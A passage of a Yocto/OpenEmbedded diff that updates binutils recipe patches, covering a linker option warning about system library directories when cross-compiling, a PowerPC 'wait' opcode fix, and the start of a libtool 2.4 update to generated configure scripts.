+ (parse_args): Handle new option.
+
+2007-04-20 Joseph Myers <joseph@codesourcery.com>
+
+ Merge from Sourcery G++ binutils 2.17:
+
+ 2007-03-20 Joseph Myers <joseph@codesourcery.com>
+ Based on patch by Mark Hatle <mark.hatle@windriver.com>.
+ ld/
+ * configure.in (--enable-poison-system-directories): New option.
+ * configure, config.in: Regenerate.
+ * ldfile.c (ldfile_add_library_path): If
+ ENABLE_POISON_SYSTEM_DIRECTORIES defined, warn for use of /lib,
+ /usr/lib, /usr/local/lib or /usr/X11R6/lib.
+
+Upstream-Status: Pending
+
+Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
+Signed-off-by: Scott Garman <scott.a.garman@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ld/config.in | 3 +++
+ ld/configure | 16 ++++++++++++++++
+ ld/configure.ac | 10 ++++++++++
+ ld/ld.h | 8 ++++++++
+ ld/ld.texi | 12 ++++++++++++
+ ld/ldfile.c | 17 +++++++++++++++++
+ ld/ldlex.h | 2 ++
+ ld/ldmain.c | 6 ++++--
+ ld/lexsup.c | 15 +++++++++++++++
+ 9 files changed, 87 insertions(+), 2 deletions(-)
+
+diff --git a/ld/config.in b/ld/config.in
+index 52d62f06ff0..b5944e7ba55 100644
+--- a/ld/config.in
++++ b/ld/config.in
+@@ -70,6 +70,9 @@
+ language is requested. */
+ #undef ENABLE_NLS
+
++/* Define to warn for use of native system library directories */
++#undef ENABLE_POISON_SYSTEM_DIRECTORIES
++
+ /* Additional extension a shared object might have. */
+ #undef EXTRA_SHLIB_EXTENSION
+
+diff --git a/ld/configure b/ld/configure
+index 6f8a05c3b6c..98a76d6da7f 100755
+--- a/ld/configure
++++ b/ld/configure
+@@ -844,6 +844,7 @@ with_lib_path
+ enable_targets
+ enable_64_bit_bfd
+ with_sysroot
++enable_poison_system_directories
+ enable_gold
+ enable_got
+ enable_compressed_debug_sections
+@@ -1534,6 +1535,8 @@ Optional Features:
+ --enable-checking enable run-time checks
+ --enable-targets alternative target configurations
+ --enable-64-bit-bfd 64-bit support (on hosts with narrower word sizes)
++ --enable-poison-system-directories
++ warn for use of native system library directories
+ --enable-gold[=ARG] build gold [ARG={default,yes,no}]
+ --enable-got=<type> GOT handling scheme (target, single, negative,
+ multigot)
+@@ -15566,6 +15569,19 @@ fi
+
+
+
++# Check whether --enable-poison-system-directories was given.
++if test "${enable_poison_system_directories+set}" = set; then :
++ enableval=$enable_poison_system_directories;
++else
++ enable_poison_system_directories=no
++fi
++
++if test "x${enable_poison_system_directories}" = "xyes"; then
++
++$as_echo "#define ENABLE_POISON_SYSTEM_DIRECTORIES 1" >>confdefs.h
++
++fi
++
+ # Check whether --enable-gold was given.
+ if test "${enable_gold+set}" = set; then :
+ enableval=$enable_gold; case "${enableval}" in
+diff --git a/ld/configure.ac b/ld/configure.ac
+index 4a11787ae71..104a531fb0f 100644
+--- a/ld/configure.ac
++++ b/ld/configure.ac
+@@ -103,6 +103,16 @@ AC_SUBST(use_sysroot)
+ AC_SUBST(TARGET_SYSTEM_ROOT)
+ AC_SUBST(TARGET_SYSTEM_ROOT_DEFINE)
+
++AC_ARG_ENABLE([poison-system-directories],
++ AS_HELP_STRING([--enable-poison-system-directories],
++ [warn for use of native system library directories]),,
++ [enable_poison_system_directories=no])
++if test "x${enable_poison_system_directories}" = "xyes"; then
++ AC_DEFINE([ENABLE_POISON_SYSTEM_DIRECTORIES],
++ [1],
++ [Define to warn for use of native system library directories])
++fi
++
+ dnl Use --enable-gold to decide if this linker should be the default.
+ dnl "install_as_default" is set to false if gold is the default linker.
+ dnl "installed_linker" is the installed BFD linker name.
+diff --git a/ld/ld.h b/ld/ld.h
+index 54d9079678c..9f0163b2911 100644
+--- a/ld/ld.h
++++ b/ld/ld.h
+@@ -166,6 +166,14 @@ typedef struct
+ in the linker script. */
+ bool force_group_allocation;
+
++ /* If TRUE (the default) warn for uses of system directories when
++ cross linking. */
++ bool poison_system_directories;
++
++ /* If TRUE (default FALSE) give an error for uses of system
++ directories when cross linking instead of a warning. */
++ bool error_poison_system_directories;
++
+ /* Big or little endian as set on command line. */
+ enum endian_enum endian;
+
+diff --git a/ld/ld.texi b/ld/ld.texi
+index 4fda259a552..22685f5f1dd 100644
+--- a/ld/ld.texi
++++ b/ld/ld.texi
+@@ -3119,6 +3119,18 @@ creation of the metadata note, if one had been enabled by an earlier
+ occurrence of the --package-metadata option.
+ If the linker has been built with libjansson, then the JSON string
+ will be validated.
++
++@kindex --no-poison-system-directories
++@item --no-poison-system-directories
++Do not warn for @option{-L} options using system directories such as
++@file{/usr/lib} when cross linking. This option is intended for use
++in chroot environments when such directories contain the correct
++libraries for the target system rather than the host.
++
++@kindex --error-poison-system-directories
++@item --error-poison-system-directories
++Give an error instead of a warning for @option{-L} options using
++system directories when cross linking.
+ @end table
+
+ @c man end
+diff --git a/ld/ldfile.c b/ld/ldfile.c
+index dc9875d8813..49d899ee49d 100644
+--- a/ld/ldfile.c
++++ b/ld/ldfile.c
+@@ -327,6 +327,23 @@ ldfile_add_library_path (const char *name, bool cmdline)
+ new_dirs->name = concat (ld_sysroot, name + strlen ("$SYSROOT"), (const char *) NULL);
+ else
+ new_dirs->name = xstrdup (name);
++
++#ifdef ENABLE_POISON_SYSTEM_DIRECTORIES
++ if (command_line.poison_system_directories
++ && ((!strncmp (name, "/lib", 4))
++ || (!strncmp (name, "/usr/lib", 8))
++ || (!strncmp (name, "/usr/local/lib", 14))
++ || (!strncmp (name, "/usr/X11R6/lib", 14))))
++ {
++ if (command_line.error_poison_system_directories)
++ einfo (_("%X%P: error: library search path \"%s\" is unsafe for "
++ "cross-compilation\n"), name);
++ else
++ einfo (_("%P: warning: library search path \"%s\" is unsafe for "
++ "cross-compilation\n"), name);
++ }
++#endif
++
+ }
+
+ /* Try to open a BFD for a lang_input_statement. */
+diff --git a/ld/ldlex.h b/ld/ldlex.h
+index 161a9d4d8dc..757fe2f7650 100644
+--- a/ld/ldlex.h
++++ b/ld/ldlex.h
+@@ -147,6 +147,8 @@ enum option_values
+ OPTION_PLUGIN,
+ OPTION_PLUGIN_OPT,
+ #endif /* BFD_SUPPORTS_PLUGINS */
++ OPTION_NO_POISON_SYSTEM_DIRECTORIES,
++ OPTION_ERROR_POISON_SYSTEM_DIRECTORIES,
+ OPTION_DEFAULT_SCRIPT,
+ OPTION_PRINT_OUTPUT_FORMAT,
+ OPTION_PRINT_SYSROOT,
+diff --git a/ld/ldmain.c b/ld/ldmain.c
+index 01b306e58a1..eddefc24332 100644
+--- a/ld/ldmain.c
++++ b/ld/ldmain.c
+@@ -326,6 +326,8 @@ main (int argc, char **argv)
+ command_line.warn_mismatch = true;
+ command_line.warn_search_mismatch = true;
+ command_line.check_section_addresses = -1;
++ command_line.poison_system_directories = true;
++ command_line.error_poison_system_directories = false;
+
+ /* We initialize DEMANGLING based on the environment variable
+ COLLECT_NO_DEMANGLE. The gcc collect2 program will demangle the
+@@ -1458,7 +1460,7 @@ undefined_symbol (struct bfd_link_info *info,
+ argv[1] = "undefined-symbol";
+ argv[2] = (char *) name;
+ argv[3] = NULL;
+-
++
+ if (verbose)
+ einfo (_("%P: About to run error handling script '%s' with arguments: '%s' '%s'\n"),
+ argv[0], argv[1], argv[2]);
+@@ -1479,7 +1481,7 @@ undefined_symbol (struct bfd_link_info *info,
+ carry on to issue the normal error message. */
+ }
+ #endif /* SUPPORT_ERROR_HANDLING_SCRIPT */
+-
++
+ if (section != NULL)
+ {
+ if (error_count < MAX_ERRORS_IN_A_ROW)
+diff --git a/ld/lexsup.c b/ld/lexsup.c
+index 099dff8ecde..e9939000b2e 100644
+--- a/ld/lexsup.c
++++ b/ld/lexsup.c
+@@ -642,6 +642,14 @@ static const struct ld_option ld_options[] =
+ " <method> is: share-unconflicted (default),\n"
+ " share-duplicated"),
+ TWO_DASHES },
++ { {"no-poison-system-directories", no_argument, NULL,
++ OPTION_NO_POISON_SYSTEM_DIRECTORIES},
++ '\0', NULL, N_("Do not warn for -L options using system directories"),
++ TWO_DASHES },
++ { {"error-poison-system-directories", no_argument, NULL,
++ + OPTION_ERROR_POISON_SYSTEM_DIRECTORIES},
++ '\0', NULL, N_("Give an error for -L options using system directories"),
++ TWO_DASHES },
+ };
+
+ #define OPTION_COUNT ARRAY_SIZE (ld_options)
+@@ -1818,6 +1826,13 @@ parse_args (unsigned argc, char **argv)
+
+ case OPTION_PRINT_MAP_LOCALS:
+ config.print_map_locals = true;
++
++ case OPTION_NO_POISON_SYSTEM_DIRECTORIES:
++ command_line.poison_system_directories = false;
++ break;
++
++ case OPTION_ERROR_POISON_SYSTEM_DIRECTORIES:
++ command_line.error_poison_system_directories = true;
+ break;
+
+ case OPTION_DEPENDENCY_FILE:
diff --git a/meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch b/meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch
deleted file mode 100644
index 7f8fc9a5c0..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0007-don-t-let-the-distro-compiler-point-to-the-wrong-ins.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 2b81508b9af76db292cd756432b03035cb8157e0 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:39:01 +0000
-Subject: [PATCH 07/17] don't let the distro compiler point to the wrong
- installation location
-
-Thanks to RP for helping find the source code causing the issue.
-
-2010/08/13
-Nitin A Kamble <nitin.a.kamble@intel.com>
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libiberty/Makefile.in | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/libiberty/Makefile.in b/libiberty/Makefile.in
-index 895f701bcd0..97a53f15bb6 100644
---- a/libiberty/Makefile.in
-+++ b/libiberty/Makefile.in
-@@ -367,7 +367,8 @@ install-strip: install
- # multilib-specific flags, it's overridden by FLAGS_TO_PASS from the
- # default multilib, so we have to take CFLAGS into account as well,
- # since it will be passed the multilib flags.
--MULTIOSDIR = `$(CC) $(CFLAGS) -print-multi-os-directory`
-+#MULTIOSDIR = `$(CC) $(CFLAGS) -print-multi-os-directory`
-+MULTIOSDIR = ""
- install_to_libdir: all
- if test -n "${target_header_dir}"; then \
- ${mkinstalldirs} $(DESTDIR)$(libdir)/$(MULTIOSDIR); \
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0007-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch b/meta/recipes-devtools/binutils/binutils/0007-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch
new file mode 100644
index 0000000000..f9fa0d4f78
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0007-fix-the-incorrect-assembling-for-ppc-wait-mnemonic.patch
@@ -0,0 +1,37 @@
+From d35fd95eee9930ab41d9ad637eacb35aa9fe6f44 Mon Sep 17 00:00:00 2001
+From: Zhenhua Luo <zhenhua.luo@nxp.com>
+Date: Sat, 11 Jun 2016 22:08:29 -0500
+Subject: [PATCH] fix the incorrect assembling for ppc wait mnemonic
+
+The wait mnemonic for ppc targets is incorrectly assembled into 0x7c00003c due
+to duplicated address definition with waitasec instruction. The issue causes
+kernel boot calltrace for ppc targets when wait instruction is executed.
+
+Upstream-Status: Pending
+Signed-off-by: Zhenhua Luo <zhenhua.luo@nxp.com>
+---
+ opcodes/ppc-opc.c | 4 +---
+ 1 file changed, 1 insertion(+), 3 deletions(-)
+
+diff --git a/opcodes/ppc-opc.c b/opcodes/ppc-opc.c
+index e55bfe846cd..66b37e36e6f 100644
+--- a/opcodes/ppc-opc.c
++++ b/opcodes/ppc-opc.c
+@@ -7138,8 +7138,6 @@ const struct powerpc_opcode powerpc_opcodes[] = {
+ {"waitasec", X(31,30), XRTRARB_MASK, POWER8, POWER9, {0}},
+ {"waitrsv", XWCPL(31,30,1,0),0xffffffff, POWER10, EXT, {0}},
+ {"pause_short", XWCPL(31,30,2,0),0xffffffff, POWER10, EXT, {0}},
+-{"wait", X(31,30), XWCPL_MASK, POWER10, 0, {WC, PL}},
+-{"wait", X(31,30), XWC_MASK, POWER9, POWER10, {WC}},
+
+ {"lwepx", X(31,31), X_MASK, E500MC|PPCA2, 0, {RT, RA0, RB}},
+
+@@ -7193,7 +7191,7 @@ const struct powerpc_opcode powerpc_opcodes[] = {
+
+ {"waitrsv", X(31,62)|(1<<21), 0xffffffff, E500MC|PPCA2, EXT, {0}},
+ {"waitimpl", X(31,62)|(2<<21), 0xffffffff, E500MC|PPCA2, EXT, {0}},
+-{"wait", X(31,62), XWC_MASK, E500MC|PPCA2, 0, {WC}},
++{"wait", X(31,62), XWC_MASK, E500MC|PPCA2|POWER9|POWER10, 0, {WC}},
+
+ {"dcbstep", XRT(31,63,0), XRT_MASK, E500MC|PPCA2, 0, {RA0, RB}},
+
diff --git a/meta/recipes-devtools/binutils/binutils/0008-Use-libtool-2.4.patch b/meta/recipes-devtools/binutils/binutils/0008-Use-libtool-2.4.patch
new file mode 100644
index 0000000000..8f74c639d5
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0008-Use-libtool-2.4.patch
@@ -0,0 +1,34406 @@
+From da089ddacb6506f406acd8939389183a4356ebf0 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 14 Feb 2016 17:04:07 +0000
+Subject: [PATCH] Use libtool 2.4
+
+get libtool sysroot support
+
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ bfd/Makefile.in | 3 +
+ bfd/configure | 1333 +++++++++---
+ bfd/configure.ac | 2 +-
+ binutils/Makefile.in | 3 +
+ binutils/configure | 1331 +++++++++---
+ gas/Makefile.in | 3 +
+ gas/configure | 1331 +++++++++---
+ gprof/Makefile.in | 3 +
+ gprof/configure | 1331 +++++++++---
+ gprofng/Makefile.in | 2 +
+ gprofng/configure | 1693 ++++++++++++----
+ gprofng/doc/Makefile.in | 2 +
+ gprofng/gp-display-html/Makefile.in | 2 +
+ gprofng/libcollector/Makefile.in | 2 +
+ gprofng/libcollector/configure | 1693 ++++++++++++----
+ gprofng/src/Makefile.in | 2 +
+ ld/Makefile.in | 3 +
+ ld/configure | 1694 ++++++++++++----
+ libbacktrace/Makefile.in | 108 +-
+ libbacktrace/aclocal.m4 | 73 +-
+ libbacktrace/configure | 1441 +++++++++----
+ libctf/Makefile.in | 2 +
+ libctf/configure | 1334 +++++++++---
+ libsframe/Makefile.in | 344 ++--
+ libsframe/aclocal.m4 | 220 +-
+ libsframe/configure | 1553 ++++++++++----
+ libtool.m4 | 1085 ++++++----
+ ltmain.sh | 2921 ++++++++++++++++++---------
+ ltoptions.m4 | 2 +-
+ ltversion.m4 | 12 +-
+ lt~obsolete.m4 | 2 +-
+ opcodes/Makefile.in | 3 +
+ opcodes/configure | 1331 +++++++++---
+ zlib/Makefile.in | 3 +
+ zlib/configure | 1331 +++++++++---
+ 35 files changed, 16094 insertions(+), 6104 deletions(-)
+
+diff --git a/bfd/Makefile.in b/bfd/Makefile.in
+index faaa0c424b8..5371e093163 100644
+--- a/bfd/Makefile.in
++++ b/bfd/Makefile.in
+@@ -340,6 +340,7 @@ DATADIRNAME = @DATADIRNAME@
+ DEBUGDIR = @DEBUGDIR@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -379,6 +380,7 @@ LTLIBINTL = @LTLIBINTL@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ MKINSTALLDIRS = @MKINSTALLDIRS@
+ MSGFMT = @MSGFMT@
+@@ -425,6 +427,7 @@ abs_builddir = @abs_builddir@
+ abs_srcdir = @abs_srcdir@
+ abs_top_builddir = @abs_top_builddir@
+ abs_top_srcdir = @abs_top_srcdir@
++ac_ct_AR = @ac_ct_AR@
+ ac_ct_CC = @ac_ct_CC@
+ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ all_backends = @all_backends@
+diff --git a/bfd/configure b/bfd/configure
+index acbac2f364a..a53a9d52719 100755
+--- a/bfd/configure
++++ b/bfd/configure
+@@ -712,6 +712,9 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
++ac_ct_AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -830,6 +833,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_plugins
+ enable_largefile
+@@ -1526,6 +1530,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+ --with-mmap try using mmap for BFD input files if available
+ --with-separate-debug-dir=DIR
+ Look for global separate debug info in DIR
+@@ -5063,8 +5069,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -5104,7 +5110,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5797,8 +5803,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5847,6 +5853,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5863,6 +5943,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -6031,7 +6116,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -6190,6 +6276,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6205,6 +6306,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
++ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
++if test -n "$ac_ct_DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
++$as_echo "$ac_ct_DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_DLLTOOL" = x; then
++ DLLTOOL="false"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ DLLTOOL=$ac_ct_DLLTOOL
++ fi
++else
++ DLLTOOL="$ac_cv_prog_DLLTOOL"
++fi
++
++test -z "$DLLTOOL" && DLLTOOL=dlltool
++
++
++
++
++
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
++$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
++if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
++$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++
++
++
++
++
++
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6219,8 +6471,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
++ for ac_prog in ar
++ do
++ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
++set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
+ if ${ac_cv_prog_AR+:} false; then :
+@@ -6236,7 +6490,7 @@ do
+ test -z "$as_dir" && as_dir=.
+ for ac_exec_ext in '' $ac_executable_extensions; do
+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+- ac_cv_prog_AR="${ac_tool_prefix}ar"
++ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
+ break 2
+ fi
+@@ -6256,11 +6510,15 @@ $as_echo "no" >&6; }
+ fi
+
+
++ test -n "$AR" && break
++ done
+ fi
+-if test -z "$ac_cv_prog_AR"; then
++if test -z "$AR"; then
+ ac_ct_AR=$AR
+- # Extract the first word of "ar", so it can be a program name with args.
+-set dummy ar; ac_word=$2
++ for ac_prog in ar
++do
++ # Extract the first word of "$ac_prog", so it can be a program name with args.
++set dummy $ac_prog; ac_word=$2
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
+ $as_echo_n "checking for $ac_word... " >&6; }
